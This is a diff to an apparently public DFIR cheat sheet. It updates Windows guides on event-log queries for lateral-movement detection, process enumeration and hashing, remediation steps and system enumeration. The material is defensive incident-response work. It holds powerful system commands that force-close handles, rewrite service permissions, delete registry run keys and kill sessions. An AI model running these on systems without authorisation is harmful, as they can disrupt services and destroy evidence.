-Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4672';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-WMI-Activity/Operational'; Id='5857';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-WMI-Activity/Operational'; Id='5860';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-WMI-Activity/Operational'; Id='5861';} | FL TimeCreated,Message -C:\Windows\System32\wbem\Repository -ls C:\Windows\Prefetch\wmiprvse.exe*.pf -ls C:\Windows\Prefetch\mofcomp.exe*.pf +```powershell +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4672';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-WMI-Activity/Operational'; Id='5857';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-WMI-Activity/Operational'; Id='5860';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-WMI-Activity/Operational'; Id='5861';} | Format-List TimeCreated,Message +# WMI Repository Path +Get-Item C:\Windows\System32\wbem\Repository +Get-ChildItem C:\Windows\Prefetch\wmiprvse.exe*.pf +Get-ChildItem C:\Windows\Prefetch\mofcomp.exe*.pf ``` ### PowerShell Lateral Movement Detection (Destinations) +```powershell +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4672';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-PowerShell/Operational'; Id='4103';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-PowerShell/Operational'; Id='4104';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-PowerShell/Operational'; Id='53504';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Windows PowerShell'; Id='400';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Windows PowerShell'; Id='403';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-WinRM/Operational'; Id='91';} | Format-List TimeCreated,Message +Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-WinRM/Operational'; Id='168';} | Format-List TimeCreated,Message +Get-ChildItem C:\Windows\Prefetch\wsmprovhost.exe*.pf ``` -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4624'; Data='3'} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4672';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-PowerShell/Operational'; Id='4103';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-PowerShell/Operational'; Id='4104';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-PowerShell/Operational'; Id='53504';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Windows PowerShell'; Id='400';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Windows PowerShell'; Id='403';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-WinRM/Operational'; Id='91';} | FL TimeCreated,Message -Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-WinRM/Operational'; Id='168';} | FL TimeCreated,Message -ls C:\Windows\Prefetch\wsmprovhost.exe*.pf -``` + diff --git a/dfir-digital-forensics-and-incident-response/windows-event-logs.md b/dfir-digital-forensics-and-incident-response/windows-event-logs.md index d42ef6e..bc02a0f 100644 --- a/dfir-digital-forensics-and-incident-response/windows-event-logs.md +++ b/dfir-digital-forensics-and-incident-response/windows-event-logs.md @@ -1,61 +1,87 @@ # Windows Event Logs -## Get available Logs +## Enumerating Available Logs {% embed url="https://wiki.sans.blue/Tools/pdfs/Get-WinEvent.pdf" %} -### Powershell logs +### PowerShell Logs ``` Get-WinEvent -LogName "Windows Powershell" ``` -### Event logs available +### List Available Event Logs ``` -Get-EventLog -list Get-WinEvent -Listlog * | Select RecordCount,LogName Get-WinEvent -Listlog *operational | Select RecordCount,LogName wmic nteventlog list brief ``` -### Event Logs per Application Source +### Filter Event Logs by Source ``` -Get-EventLog Application | Select -Unique Source Get-WinEvent -FilterHashtable @{ LogName='Application'; ProviderName='Outlook'} Get-WinEvent -FilterHashtable @{ LogName='OAlerts';} | FL TimeCreated, Message ``` -### Event Logs per Severity Source +### Filter Event Logs by Severity -**Critical Logs** +**Critical Logs (Level 1)** ``` Get-WinEvent -FilterHashtable @{ LogName='Application'; Level='1';} ``` -**Error Logs** +**Error Logs (Level 2)** ``` Get-WinEvent -FilterHashtable @{ LogName='Application'; Level='2';} ``` -**Warning Logs** +**Warning Logs (Level 3)** ``` Get-WinEvent -FilterHashtable @{ LogName='Application'; Level='3';} ``` -**Information Logs** +**Information Logs (Level 4)** ``` Get-WinEvent -FilterHashtable @{ LogName='Application'; Level='4';} ``` -## Event Logs for offline analysis +### Reviewing Audit Policy + +To understand what is being logged, review the current audit policy configuration. + +``` +auditpol /get /category:* +``` -Event logs can be found: %SystemRoot%\System32\winevt\Logs +### Legacy Commands + +> **Note:** `Get-EventLog` is deprecated and only supports classic event logs. It is recommended to use `Get-WinEvent`. + +``` +# List logs +Get-EventLog -list + +# Get Application logs by source +Get-EventLog Application | Select -Unique Source +``` + +### System Monitor (Sysmon) + +Sysmon setup, configuration, and detection use cases live in Event Detection. During DFIR, export `Microsoft-Windows-Sysmon/Operational` along with the other event logs so it can be reviewed offline. + +{% content-ref url="../blue-defense/event-detection/sysmon.md" %} +[sysmon.md](../blue-defense/event-detection/sysmon.md) +{% endcontent-ref %} + +## Exporting Event Logs for Offline Analysis + +Event logs are typically located in: `%SystemRoot%\System32\winevt\Logs` ``` wevtutil epl System [Location]\System.evtx @@ -79,7 +105,7 @@ XCOPY C:\WINDOWS\system32\LogFiles\ [Location] /i ### [User Access Logging (UAL) KStrike Parser](https://github.com/brimorlabs/KStrike) -Note: More information can be found [here](https://docs.microsoft.com/en-us/windows-server/administration/user-access-logging/manage-user-access-logging). Special thanks to Brimor Labs. +Note: More information can be found in [Microsoft Learn](https://learn.microsoft.com/en-us/windows-server/administration/user-access-logging/manage-user-access-logging). Special thanks to Brimor Labs. ``` KStrike.py SYSTEMNAME\Current.mdb > Current_mdb.txt @@ -93,17 +119,23 @@ mdb Files are found at the below: More information available on the [CrowdStrike Blog - Patrick Bennett](https://www.crowdstrike.com/blog/user-access-logging-ual-overview/) -### Quickly scan event logs with [DeepblueCLI](https://github.com/sans-blue-team/DeepBlueCLI) +### Quickly Scan Event Logs with [DeepBlueCLI](https://github.com/sans-blue-team/DeepBlueCLI) ``` .\DeepBlue.ps1 .\evtx\psattack-security.evtx | FL ``` -### Event Tracing for Windows (ETW). +For faster analysis of large datasets, consider using Rust-based tools such as [Chainsaw](https://github.com/WithSecureLabs/chainsaw) or [Hayabusa](https://github.com/Yamato-Security/hayabusa). Broader detection-engineering context for these tools belongs in Event Detection. + +{% content-ref url="../blue-defense/event-detection/" %} +[event-detection](../blue-defense/event-detection/) +{% endcontent-ref %} + +### Event Tracing for Windows (ETW) Event tracing is how a Provider (an application that contains event tracing instrumentation) creates items within the Windows Event Log for a consumer. This is how event logs are generated, and is also a way they can be tampered with. More information on this architecture can be found below. -[Event Tracing Architecture](https://docs.microsoft.com/en-us/windows/win32/etw/about-event-tracing) +[Event Tracing Architecture](https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing) A great [post by Matt Graeber](https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63) goes into some depth on how this works and some common ways of interacting with ETW Traces. @@ -113,7 +145,7 @@ A great [post by Matt Graeber](https://medium.com/palantir/tampering-with-window logman query -ets ``` -### **List Providers That a Trace Session is Subscribed to** +### **List Providers Subscribed to a Session** ``` logman query "EventLog-System" -ets @@ -126,7 +158,7 @@ logman query providers reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\ ``` -### **View providers process is sending events to** +### **View Providers a Process is Sending Events To** ``` logman query providers -pid {PID} @@ -136,7 +168,7 @@ logman query providers -pid {PID} Special thanks to [Spotless](https://twitter.com/spotheplanet) for his [crash course](https://www.ired.team/miscellaneous-reversing-forensics/etw-event-tracing-for-windows-101) -### **Query Providers Available and their keyword values** +### **Query Available Providers and Keywords** ``` logman query providers @@ -152,7 +184,7 @@ logman create trace -ets logman query -ets ``` -### Update trace with wanted providers +### Update Trace with Wanted Providers Note: the mask is the combined values wanted. For example if a keyword was 0x1 and another 0x16 and you wanted both you’d use 0x17. @@ -178,7 +210,7 @@ gci REGISTRY::HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\ -recurse reg query HKLM\SYSTEM\CurrentControlSet\control\WMI\AutoLogger\ /s /v enable* ``` -### Timeline Windows Event Logs. +### Timelining Windows Event Logs An easy way to explore Windows event logs is to dump them into a normalized csv format using EvtxExplorer. @@ -192,32 +224,34 @@ From here you can analyse the CSV using Timeline explorer to view relevant infor [TimelineExplorer:](https://ericzimmerman.github.io/#!index.md) -### Super Timeline a host: +### Creating a Super Timeline This can be done using [Plaso (Log2Timeline)](https://plaso.readthedocs.io/en/latest/) +### Application and Server Logs + Common IIS logs can often be found in the below locations: -* %SystemDrive%\inetpub\logs\LogFiles -* %SystemRoot%\System32\LogFiles\W3SVC1 -* %SystemDrive%\inetpub\logs\LogFiles\W3SVC1 +* `%SystemDrive%\inetpub\logs\LogFiles` +* `%SystemRoot%\System32\LogFiles\W3SVC1` +* `%SystemDrive%\inetpub\logs\LogFiles\W3SVC1` * Note: replace 1 with the number for your IIS website ID -* %SystemDrive%\Windows\System32\LogFiles\HTTPERR +* `%SystemDrive%\Windows\System32\LogFiles\HTTPERR` Common Apache logs can often be found in the below locations: -* /var/log -* /var/log/httpd/access.log -* /var/log/apache/access.log -* /var/log/apache2/access.log -* /var/log/httpd-access.log +* `/var/log` +* `/var/log/httpd/access.log` +* `/var/log/apache/access.log` +* `/var/log/apache2/access.log` +* `/var/log/httpd-access.log` Other logs can be found in the below, often using the Event Trace Log (ETL) format: -* C:\Windows\System32\LogFiles -* C:\Windows\Panther +* `C:\Windows\System32\LogFiles` +* `C:\Windows\Panther` -ETL format can be parsed using tracerpt which is included in Windows, some examples below. +ETL format can be parsed using `tracerpt` which is included in Windows, some examples below. ``` tracerpt C:\Windows\System32\LogFiles\WMI\Terminal-Services-RPC-Client.etl diff --git a/dfir-digital-forensics-and-incident-response/windows-process-information.md b/dfir-digital-forensics-and-incident-response/windows-process-information.md index c3fc5af..fd01fc1 100644 --- a/dfir-digital-forensics-and-incident-response/windows-process-information.md +++ b/dfir-digital-forensics-and-incident-response/windows-process-information.md @@ -1,109 +1,151 @@ # Windows Process Information -## Process information +This section covers commands and techniques for gathering information about running processes on Windows systems using native tools (CMD, PowerShell) and Sysinternals. -(pslist requires sysinternals pslist.exe): +## Process Enumeration -``` +### Command Prompt (CMD) + +Native Windows commands to list process details. + +```cmd tasklist -v -wmic process list full /format:csv -wmic process get name,parentprocessid,processid /format:csv -wmic process get ExecutablePath,processid /format:csv -wmic process get name,ExecutablePath,processid,parentprocessid /format:csv | findstr /I "appdata" -wmic process where processid=[PID] get parentprocessid -wmic process where processid=[PID] get commandline -wmic process where "commandline is not null and commandline!=''" get name,commandline /format:csv +``` + +### PowerShell + +PowerShell commands for detailed process analysis. `Get-CimInstance` is preferred in modern PowerShell versions, while `Get-WmiObject` (gwmi) is legacy. + +```powershell +# Modern (CIM) +Get-CimInstance Win32_Process -Filter "name like 'powershell.exe'" | Select-Object Name, ProcessId, CommandLine | FL + +# Legacy (WMI) gwmi win32_process -Filter "name like 'powershell.exe'" | select name,processId,commandline|FL + +# Other Examples gwmi win32_process | select name,processId,path,commandline|FL gwmi win32_process |FL ProcessID,ParentProcessID,CommandLine,@{e={$_.GetOwner().User}} gwmi win32_process | Sort-Object -Property ProcessID | FL ProcessID,Path,CommandLine,ParentProcessID,@{n="User";e={$_.GetOwner().User}},@{n="ParentProcessPath";e={gps -Id $_.ParentProcessID|Select -exp Path}} +``` + +### Network and Services + +Identify network connections and services tied to processes. + +```cmd +# Network to Process (CMD) +netstat -ano | findstr [PID] + +# Network to Process (PowerShell) +Get-NetTCPConnection -OwningProcess [PID] | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess, CreationTime + +# Services hosted in a process (e.g., svchost) +tasklist /svc /fi "imagename eq svchost.exe" +``` + +### Sysinternals + +*Note: `pslist` is part of the [Sysinternals Suite](https://learn.microsoft.com/en-us/sysinternals/).* + +```cmd pslist ``` +### Process Tree Visualization + [PowerShell Module to show Process Tree](https://gist.github.com/JPMinty/f4d60adafdfbc12b0e4226a27bf1dcb0) -``` +```powershell import-module .\Get-ProcessTree.ps1 Get-ProcessTree -Verbose | FT Id, Level, IndentedName, ParentId,Path,CommandLine ``` -### Checking for running processes +### Checking for Running Processes (Remote) -``` +```powershell Invoke-Command -ScriptBlock {Get-Process} -Session $s1 ``` -### Baseline processes and services +## Baseline Processes and Services -(Used to compare new process/services) +Technique to compare current state against a known good baseline. -``` +```powershell +# Create Baseline Get-Process | Export-Clixml -Path C:\Users\User\Desktop\process.xml Get-Service | Export-Clixml -Path C:\Users\User\Desktop\service.xml + +# Import and Compare $edproc = Import-Clixml -Path C:\Users\User\Desktop\process.xml $edproc1 = Import-Clixml -Path C:\Users\User\Desktop\process1.xml $edservice = Import-Clixml -Path C:\Users\User\Desktop\service.xml $edservice1 = Import-Clixml -Path C:\Users\User\Desktop\service1.xml + Compare-Object $edproc $edproc1 -Property processname Compare-Object $edservice $edservice1 -Property servicename ``` -### Current Process execution or module loads from temporary directories +## Suspicious Locations -Note: This will likely have some false positives as it’s just a wildcard. So in this case using ‘temp’ can come up in words such as ‘ItemProvider’. +### Current Process Execution or Module Loads from Temporary Directories -``` +*Note: This search checks for keywords like "Appdata", "Temp", etc. Be aware of false positives (e.g., 'ItemProvider' matches 'temp').* + +```powershell (gps -Module -ea 0).FileName|Select-String "Appdata","ProgramData","Temp","Users","public"|unique ``` -### Current Process execution or module loads from temporary directories + hash +### Suspicious Locations + File Hash -``` +Calculates the hash of files found in suspicious locations for further verification. + +```powershell +# Check loaded modules $A=((gps -Module -ea 0).FileName|Select-String "Appdata","ProgramData","Temp","Users","public"|sort|unique);foreach ($B in $A) {filehash $B}; + +# Check running process paths $A=((gps).Path|Select-String "Appdata","ProgramData","Temp","Users","public"|sort|unique);foreach ($B in $A) {filehash $B}; ``` -## Process Handles +## Process Handles -### Locate process handles (e.g. files open by process) +Locate files or resources opened by a specific process. -_Note: Requires handles/handles64.exe from sysinternals_ +*Note: Requires `handle.exe`/`handle64.exe` from Sysinternals.* -``` +### Locate Process Handles + +```cmd handle64.exe -p [PID/name] -nobanner handle64.exe -a -p [PID/name] -nobanner handle64.exe -a -l -p [PID/name] -nobanner handle64.exe -a -l -u -p keepass -nobanner ``` -### Close process handles (e.g. files open by process) +### Close Process Handles -_Note: Requires handles/handles64.exe from sysinternals_ +Forcefully close a handle (use with caution). -``` +```cmd handle64.exe -c [hexhandleref] -p [PID] -nobanner handle64.exe -c [hexhandleref] -y -p [PID] -nobanner ``` ## Hashes of Processes and Artifacts -### Obtain hash for all running executables - -**Issues with spaces in names but supports CMD.exe** - -``` -FOR /F %i IN ('wmic process where "ExecutablePath is not null" get ExecutablePath') DO certutil -hashfile %i SHA256 | findstr -v : >> output.txt -``` +### Obtain Hash for All Running Executables -**Powershell (Special thanks Lee Holmes)** +**PowerShell (Pipeline)** +*Credit: Lee Holmes* -``` +```powershell (gps|gi -ea SilentlyContinue|filehash).hash|sort -u ``` -**My less efficient powershell** +**Alternative PowerShell Method** -``` +```powershell foreach ($process in Get-WmiObject win32_process | where {$_.ExecutablePath -notlike ""}) {Get-FileHash $process.ExecutablePath | Format-List} foreach ($process in Get-WmiObject win32_process | where {$_.ExecutablePath -notlike ""}) {Get-FileHash $process.ExecutablePath | select Hash -ExpandProperty Hash} @@ -111,51 +153,86 @@ foreach ($process in Get-WmiObject win32_process | where {$_.ExecutablePath -not $A = $( foreach ($process in Get-WmiObject win32_process | where {$_.ExecutablePath -notlike ""}) {Get-FileHash $process.ExecutablePath | select Hash -ExpandProperty Hash}) |Sort-Object| Get-Unique;$A ``` -### Obtain hash of DLLs currently loaded by processes +### Obtain Hash of DLLs Currently Loaded by Processes -``` -$A = $(foreach ($dll in gps|select -ExpandProperty modules -ea SilentlyContinue|? FileName -NotLike "C:\Windows\SYSTEM32\*"){Get-FileHash $dll.FileName| select Hash -ExpandProperty Hash})|Sort-Object| Get-Unique;$A -(gps).Modules.FileName | sort -uniq | foreach {filehash $_ -ea 0} -``` +### Processes Where Binary Version Doesn’t Match OS Release -### Obtain processes where binaries file version doesn’t match OS Release +Useful for finding misplaced or outdated system binaries. -``` +```powershell gps -FileVersionInfo -ea 0|? {$_.ProductVersion -notmatch $([System.Environment]::OSVersion.Version|Select -exp Build)} ``` -### Obtain process binary file external names +### Obtain Process Binary Original Names (Masquerading Check) -``` +Compare `OriginalFilename` with the running `Filename` to detect renamed binaries (e.g., `svchost.exe` running as `notmalware.exe`). + +```powershell gps -FileVersionInfo -ea 0 | sort -uniq | Select OriginalFilename,InternalName,Filename gps -module -FileVersionInfo -ea 0 | sort -uniq | Select OriginalFilename,InternalName,Filename gps -module -FileVersionInfo -ea 0 | sort -uniq | FL *name,*version ``` -### Obtain processes running which are running a DLL +### Obtain Processes Loading Specific DLLs -``` +Example: checking for `sechost.dll` or `ntdll.dll`. + +```powershell $A=(gps|select -ExpandProperty modules -ea SilentlyContinue | where {$_.ModuleName -Like 'sechost.dll' -or $_.ModuleName -Like 'ntdll.dll'} | sort -u);if($A[0].Size -ge -1) {foreach ($Module in $A){tasklist /m $Module.ModuleName}}; gps | FL ProcessName, @{l="Modules";e={$_.Modules|Out-String}} ``` -### Obtain hash of unsigned or invalid DLLs currently loaded by processes +### Obtain Hash of Unsigned or Invalid DLLs -``` +Checks loaded modules for digital signature status and hashes invalid ones. + +```powershell $A=$(foreach ($dll in gps|select -ExpandProperty modules -ea SilentlyContinue){Get-AuthenticodeSignature $dll.FileName |Where-Object Status -NE "Valid"|Select Path});$B=$(foreach ($dll in $A){Get-FileHash $dll.Path| select Hash -ExpandProperty Hash})|Sort-Object| Get-Unique;$B ``` -### Obtain list of unsigned DLLs currently loaded by processes +### List Unsigned DLLs -``` +```powershell gps | select -exp modules -ea 0 | Select -exp FileName | Get-AuthenticodeSignature|Where-Object Status -NE "Valid" gps | select -exp modules -ea 0 | Select -exp FileName | Get-AuthenticodeSignature | ? Status -NE "Valid" | FL Path ``` -## Process Scanning +## Process Scanning (Event Logs) -### Scan process creation logs for ‘appdata’ +### Scan Process Creation Logs for Keywords -``` +Scans Security Log Event ID 4688 (Process Creation) for keywords like 'appdata'. +*Note: Requires Process Creation Auditing to be enabled.* + +```powershell Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4688';}| ? {$_.Message -match 'appdata'}|FL TimeCreated, Message ``` + +## Deprecated / Legacy Tools + +### WMIC (Windows Management Instrumentation Command-line) + +*Note: WMIC is deprecated in Windows 10 and 11 and is being removed. Use PowerShell (CIM/WMI) instead.* + +**Process Enumeration:** + +```cmd +wmic process list full /format:csv +wmic process get name,parentprocessid,processid /format:csv +wmic process get ExecutablePath,processid /format:csv +wmic process get name,ExecutablePath,processid,parentprocessid /format:csv | findstr /I "appdata" +wmic process where processid=[PID] get parentprocessid +wmic process where commandline is not null get name,commandline /format:csv +``` + +**Hash Running Executables (Loop):** + +```cmd +FOR /F %i IN ('wmic process where "ExecutablePath is not null" get ExecutablePath') DO certutil -hashfile %i SHA256 | findstr -v : >> output.txt +``` + +## Recommended Functional Resources + +* **[Sysinternals Process Explorer](https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer)**: Advanced Task Manager replacement. +* **[Sysinternals Process Monitor](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon)**: Real-time file system, Registry, and process/thread activity. +* **[System Informer](https://systeminformer.sourceforge.io/)** (formerly Process Hacker): A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware. diff --git a/dfir-digital-forensics-and-incident-response/windows-remediation-commands.md b/dfir-digital-forensics-and-incident-response/windows-remediation-commands.md index 1f4daf4..09d2d26 100644 --- a/dfir-digital-forensics-and-incident-response/windows-remediation-commands.md +++ b/dfir-digital-forensics-and-incident-response/windows-remediation-commands.md @@ -16,7 +16,7 @@ auditpol /set /category:* /success:enable /failure:enable auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable ``` -### Enable logging of non non-Windows module loads via WDAC code integrity +### Enable logging of non-Windows module loads via WDAC code integrity Note 1: Special thanks to [Matt Graeber](https://twitter.com/mattifestation/status/1366435525272481799) for this. @@ -33,7 +33,7 @@ Store the converted policy on a Win10 system to be monitored at: Windows\System3 ### Kill “Unstoppable” Service/Process ``` -reg add HKLM\SYSTEM\CurrentControlSet\Services\{SERVICENAME}\XblAuthManager\Parameters /V start /T reg_dword /D 4 /f +reg add "HKLM\SYSTEM\CurrentControlSet\Services\{SERVICENAME}" /V Start /T REG_DWORD /D 4 /f sc.exe sdset {SERVICENAME} "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" Get-Service -Name {SERVICENAME} | Set-Service -Status Paused sc.exe config {SERVICENAME} start= disabled @@ -45,36 +45,17 @@ taskkill /F /t /IM "{SERVICEEXENAME}" ### Kill malicious process ``` -wmic process where name="malware.exe" call terminate -wmic process where processid=[PID] delete -taskkill /IM malware.exe -taskkill /PID [PID] /T -``` - -Note: Call terminate allows you to specify an exit status in terms of a signed integer or a quoted negative value. Both methods essentially function the same by calling TerminateProcess. - - - -**Locate Possible Shellcode within process via Injected Thread** - -``` -Import-Module .\Get-InjectedThread.ps1 -Get-InjectedThread +taskkill /IM malware.exe /F +taskkill /PID [PID] /T /F +Stop-Process -Name "malware" -Force +Stop-Process -Id [PID] -Force ``` +Memory triage commands for injected threads and shellcode extraction are maintained in Memory Forensics. Use them to confirm what is running before terminating processes or deleting artifacts. -**Obtain Possible Shellcode within process as Hex** - -``` -(Get-InjectedThread|Select -exp Bytes|ForEach-Object ToString X2) -join '' -(Get-InjectedThread|? {$_.ThreadId -match '{PID}'}|Select -exp Bytes|ForEach-Object ToString X2) -join '' -``` +{% content-ref url="memory-forensics/" %} +[memory-forensics](memory-forensics/) +{% endcontent-ref %} -**Obtain Possible Shellcode within process as Hex** - -``` -(Get-InjectedThread|Select -exp Bytes|ForEach-Object ToString X2) -join '\x' -(Get-InjectedThread|? {$_.ThreadId -match '{PID}'}|Select -exp Bytes|ForEach-Object ToString X2) -join '\x' -``` ### **Remove ACE entries for “everyone”** @@ -117,11 +98,10 @@ attrib -s -h C:\{DESIREDFOLDERPATH}\*.* reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v NtfsDisableLastAccessUpdate /d 0 /t REG_DWORD /f ``` -### Remove BITSAdmin Persistence +### Remove BITS Persistence ``` -bitsadmin /reset /allusers -import-module bitstransfer +Import-Module BitsTransfer Get-BitsTransfer -AllUsers | Remove-BitsTransfer ``` @@ -189,12 +169,14 @@ Unregister-ScheduledTask -TaskPath [taskname] ### Unload all users registry keys ``` +$UserProfiles = Get-WmiObject Win32_UserProfile; Foreach ($UserProfile in $UserProfiles) {reg unload HKU\$($UserProfile.SID)}; ``` ### Remediate Automatic Load/Run Reg Keys ``` +$UserProfiles = Get-WmiObject Win32_UserProfile; reg delete [keyname] /v [ValueName] /f reg delete [keyname] /f Foreach ($UserProfile in $UserProfiles) {reg delete HKU\$($UserProfile.SID)\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /f} @@ -216,3 +198,52 @@ reg add "HKU\{SID}\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" reg add "HKU\{SID}\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v malware.exe /t REG_SZ /d "malware.exe" /f ``` +### Terminate Active RDP Sessions + +``` +qwinsta +rwinsta [session_id] +``` + +### Reset Network Stack (DNS, Winsock, Proxy) + +``` +ipconfig /flushdns +netsh int ip reset +netsh winsock reset +netsh winhttp reset proxy +``` + +### List and Disable Local Users + +``` +net user +Get-LocalUser +Disable-LocalUser -Name "Guest" +``` + +### Check Hosts File + +``` +type C:\Windows\System32\drivers\etc\hosts +``` + + + +## Legacy / Deprecated Commands + +### Kill Process (WMIC) +*WMIC is deprecated as of Windows 10 21H1.* + +``` +wmic process where name="malware.exe" call terminate +wmic process where processid=[PID] delete +``` +*Note: Call terminate allows you to specify an exit status in terms of a signed integer or a quoted negative value. Both methods essentially function the same by calling TerminateProcess.* + +### Reset BITS (bitsadmin) +*bitsadmin is deprecated.* + +``` +bitsadmin /reset /allusers +``` diff --git a/dfir-digital-forensics-and-incident-response/windows-system-enumeration.md b/dfir-digital-forensics-and-incident-response/windows-system-enumeration.md index cc798d3..bfb7857 100644 --- a/dfir-digital-forensics-and-incident-response/windows-system-enumeration.md +++ b/dfir-digital-forensics-and-incident-response/windows-system-enumeration.md @@ -1,5 +1,7 @@ # Windows System Enumeration +This guide details commands and techniques for enumerating Windows systems during Digital Forensics and Incident Response (DFIR) engagements. It covers artifact collection, system information gathering, file analysis, network connection auditing, and persistence mechanism detection. + ## Gather artifacts ``` @@ -66,6 +68,8 @@ wmic qfe ``` reg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ /s /f DisplayName reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\ /s /f DisplayName + +(Note: Win32_Product/wmic product can be slow and trigger MSI consistency checks) wmic product get name,version /format:csv wmic product get /ALL dism /online /get-packages @@ -159,6 +163,12 @@ ls C:\Users\[username]\AppData\Local\GroupPolicy\DataStore ls C:\Windows\system32\GroupPolicy\DataStore ``` +### Audit Policy + +``` +auditpol /get /category:* +``` + ### Obtain mode settings for ports ``` @@ -175,7 +185,7 @@ Get-Service #### View Named Pipes ``` -[System.IO.Directory]::GetFiles("\\.\\pipe\\") +[System.IO.Directory]::GetFiles('\\.\pipe\') get-childitem \\.\pipe\ dir \\.\pipe\\ ``` @@ -250,18 +260,25 @@ reg add "HKU\{SID}\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" Stop-Process -processname explorer ``` -### Files greater than a 10mb +### Files greater than 10MB ``` FOR /R C:\ %i in (*) do @if %~zi gtr 10000000 echo %i %~zi ``` -### Temp files greater than 10mb +### Temp files greater than 10MB ``` FOR /R C:\Users\[User]\AppData %i in (*) do @if %~zi gtr 10000000 echo %i %~zi ``` +### Volume Shadow Copies + +``` +vssadmin list shadows +wmic shadowcopy list brief +``` + ## Alternate Data Streams ### List Alternate Data Streams in current Dir and view them @@ -292,7 +309,6 @@ gci -Recurse -Path $env:APPDATA\..\ -include *.txt -ea SilentlyContinue |gi -s * ### Firewall Information ``` -netsh Firewall show state netsh advfirewall firewall show rule name=all dir=in type=dynamic netsh advfirewall firewall show rule name=all dir=out type=dynamic netsh advfirewall firewall show rule name=all dir=in type=static @@ -300,8 +316,7 @@ netsh advfirewall firewall show rule name=all dir=out type=static ``` ``` -netsh firewall show config -advfirewall firewall show rule name=all verbose +netsh advfirewall firewall show rule name=all verbose ``` ### Firewall Changes @@ -310,7 +325,14 @@ advfirewall firewall show rule name=all verbose Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Firewall With Advanced Security/Firewall';} | FL TimeCreated, Message ``` -## Start-up/Autoruns +### Windows Defender Status + +``` +Get-MpComputerStatus +Get-MpPreference +``` + +## Start-up/Autoruns ### Startup process information @@ -350,7 +372,6 @@ if ($Startup2) {echo "ProgramData Startup Link Found!";$Startup2} else {echo "No ### Scheduled task/job information ``` -at (For older OS) schtasks schtasks /query /fo LIST /v schtasks /query /fo LIST /v | findstr "Task To Run:" @@ -395,7 +416,7 @@ reg query HKCU\Software\Classes\ms-settings\shell\open\command reg query HKU\{SID}\Software\Classes\ms-settings\shell\open\command ``` -#### [Quick overview of persistent locations (AutoRuns)](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) +#### [Quick overview of persistent locations (AutoRuns)](https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns) ``` autorunsc.exe -accepteula -a * -c -h -v -m > autoruns.csv @@ -534,7 +555,7 @@ Invoke-Command -ScriptBlock {Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Win ### Review Hivelist ``` -gp REGISTRY::HKLM\SYSTEM\CurrentControlSet\Control\hivelist | Select *USER* +gp HKLM:\SYSTEM\CurrentControlSet\Control\hivelist | Select *USER* ``` ### Locate all user registry keys @@ -567,10 +588,10 @@ Function Get-WmiNamespace ($Path = 'root') Get-WmiNamespace -Path $FullPath } } -Get-WMINamespace -Recurse +Get-WmiNamespace ``` -## Network Connections +## Network Connections ### Network connections @@ -766,7 +787,7 @@ $CIEvents = Get-WinEvent 